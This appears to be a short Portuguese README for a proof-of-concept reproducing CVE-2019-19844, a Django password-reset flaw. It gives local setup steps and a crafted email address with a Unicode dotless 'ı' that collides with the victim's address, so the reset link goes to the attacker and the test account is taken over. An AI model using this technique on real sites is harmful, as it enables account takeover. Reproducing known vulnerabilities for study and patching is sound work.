django_cve_2019_19844_poc

PoC para CVE-2019-19844

Requisitos

• Python 3.7.x
• PostgreSQL 9.5 ou superior

Configuração

1. Crie um banco de dados (ex.: django_cve_2019_19844_poc)
2. Defina o nome do banco de dados na variável de ambiente DJANGO_DATABASE_NAME (ex.: export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc)
3. Execute pip install -r requirements.txt && ./manage.py migrate --noinput
4. Crie o seguinte usuário com o comando shell:

>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')

Procedimento para Reproduzir

1. Execute ./manage.py runserver
2. Abra http://127.0.0.1:8000/accounts/password-reset/
3. Insira mı[email protected] (email do atacante) e clique no botão enviar
4. Receba o email (verifique o console) e redefina a senha
5. Faça login como usuário mike123